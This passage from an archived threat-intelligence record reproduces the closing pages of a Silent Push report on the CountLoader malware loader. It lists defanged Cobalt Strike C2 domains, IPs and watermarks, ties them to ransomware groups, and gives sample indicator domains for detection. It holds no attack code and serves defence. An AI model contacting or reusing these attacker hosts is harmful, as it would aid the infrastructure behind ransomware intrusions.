45.61.150[.]76 and the\r\nIP address 180.131.145[.]73 seen in the X/Twitter post.\r\nWhile doing so, we discovered that, within two days of scanning, our database had observed the same SSL fingerprint for\r\nboth IP addresses.\r\nOur team also found an interesting pattern in the subdomain naming scheme for both misctoolsupdate[.]com and\r\nlimenlinon[.]com, where the attacker created “sso” and “login” subdomains for both apex domains.\r\nFurther Analysis\r\nFurther analysis confirmed that the domain misctoolsupdate[.]com has been observed as a Cobalt Strike C2 domain. An\r\nexample of such was configured using the second watermark, 1357776117, which can be found on VirusTotal.\r\nBy combining all the information, our team was able to create a technical fingerprint based on the custom “500: Internal\r\nServer Error” response tied to this particular attack cluster. Note that this response is only given when querying the IP\r\ndirectly, which is why the query only returns IP addresses. Examining the IP’s SSL certificates then reveals the associated\r\ndomains.\r\nNotable examples with the Cobalt Strike 1357776117 watermark discovered via this fingerprint include:\r\ngrouptelecoms[.]com (162.220.61[.]172)\r\nlimenlinon[.]com (45.61.150[.]76)\r\nmisctoolsupdate[.]com (180.131.145[.]73)\r\nofficetoolservices[.]com (88.119.174[.]107)\r\nonlinenetworkupdate[.]com (184.174.96[.]67)\r\nNote: The IP addresses 45.61.150[.]76 and 180.131.145[.]73 are both observed to be connected via this fingerprint, further\r\nlinking the Cobalt Strike watermarks 1357776117 and 1473793097 together.\r\nWhile we are among the first to highlight the attribution of the new watermark, 1473793097, to this attack cluster, reviewing\r\nopen source for the older watermark, 1357776117, yields a wide range of ransomware-related research articles.\r\nOne of the most significant among them is a report by Kudelski Security, which mentions the domain\r\nmisctoolsupdate[.]com and the watermark 1357776117 in relation to attacks on SAP NetWeaver.\r\nDetails from the article align with our findings:\r\nObservation of the adversary’s infrastructure showed consistent naming conventions across multiple domains and\r\nsubdomains. The attacker repeatedly used prefixes such as “sso.” and “login.” likely in an attempt to blend\r\nmalicious traffic into legitimate enterprise communications. Examples include: (login|\r\nsso).misctoolsupdate[.]com (login| sso).networkmaintenanceservice[.]com (login|sso).officetoolservices[.]com\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 16 of 18\n\nsso.leapsummergetis[.]com The recurrence of these prefixes across unrelated domains suggests automated\r\ninfrastructure generation, possibly using templated scripts or orchestration tooling to rapidly deploy new\r\nredirectors or C2 servers with plausible, enterprise-looking subdomains.\r\nThe article ties the observed Cobalt Strike watermark (and, by extension, the CountLoader campaign we have been tracking)\r\ndirectly to BlackBasta and Qilin Ransomware activity.\r\nAdditional External Research\r\nAdditional external research on this specific watermark can be found here:\r\nhttps://op-c.net/blog/sap-cve-2025-31324-qilin-breach/\r\nhttps://medium.com/@Intel_Ops/hunting-black-bastas-cobalt-strike-96a81a6ea781\r\nhttps://unit42.paloaltonetworks.com/edr-bypass-extortion-attempt-thwarted/\r\nhttps://thedfirreport.com/2025/01/27/cobalt-strike-and-a-pair-of-socks-lead-to-lockbit-ransomware/\r\nAn interesting finding from the above on LockBit comes from the DFIR report: “The attacker used the Windows Music\r\nfolder as a central staging server. This staging folder is not commonly used for malware staging. Threat actors usually store\r\nmalware in folders such as ‘tmp’ or ‘appdata.’”\r\nThis aligns with our observations regarding CountLoader staging samples in the “Music” folder.\r\nBased on all of the above, our team assesses with high confidence that CountLoader serves either as an IAB or ransomware\r\naffiliate and has apparent connections to the LockBit, BlackBasta, and Qilin ransomware groups.\r\nMitigation\r\nSilent Push believes all observables associated with CountLoader present a significant level of risk. Proactive measures are\r\nessential to defend against Initial Access Brokers, as the damage that follows is typically far greater than first observed (if\r\nany).\r\nOur analysts have constructed several Silent Push Indicators Of Future Attack™ (IOFA™) Feeds for our clients to protect\r\nthem from this threat. These feeds include:\r\nCountLoader Domains\r\nCobalt Strike IPs\r\nCobalt Strike Domains\r\nAdaptix C2 IPs\r\nAdaptix C2 Domains\r\nLumma Infostealer C2 Domains\r\nThe IOFA™ Feeds are available as part of a Silent Push Enterprise subscription. Enterprise users can ingest this data into\r\ntheir security stack to inform their detection protocols or use it to pivot across attacker infrastructure using the Silent Push\r\nConsole and Feed Analytics screen.\r\nSample CountLoader Indicators Of Future Attack™ (IOFA™) List\r\nBelow is a sample list of Silent Push IOFA™ associated with CountLoader. Our complete list is available for enterprise\r\nusers.\r\napp-updater[.]app\r\napp-updater1[.]app\r\napp-updater2[.]app\r\ngrouptelecoms[.]com\r\nlimenlinon[.]com\r\nmisctoolsupdate[.]com\r\nms-team-ping2[.]com\r\nofficetoolservices[.]com\r\nonlinenetworkupdate[.]com\r\nquasuar[.]com\r\nContinuing to Track CountLoader Malware Loader\r\nWe believe that the threat posed by CountLoader continues to evolve by the day and advise all enterprise organizations that\r\ndetect CountLoader activity to immediately begin deeper investigations and monitor for the release of additional payloads\r\nand exploitation.\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 17 of 18\n\nIf you or your organization has any leads related to this effort, particularly regarding unique payloads or new C2s used by\r\nthese threat actors, our team would love to hear from you.\r\nSource: https://www.silentpush.com/blog/countloader/\r\nhttps://www.silentpush.com/blog/countloader/\r\nPage 18 of 18",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.silentpush.com/blog/countloader/"
	],
	"report_names": [
		"countloader"
	],
	"threat_actors": [],
	"ts_created_at": 1775434189,
	"ts_updated_at": 1775791292,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/6752b27387de536e63aa4a337565d92be1dcd31a.pdf",
		"text": "https://archive.orkl.eu/6752b27387de536e63aa4a337565d92be1dcd31a.txt",
		"img": "https://archive.orkl.eu/6752b27387de536e63aa4a337565d92be1dcd31a.jpg"
	}
}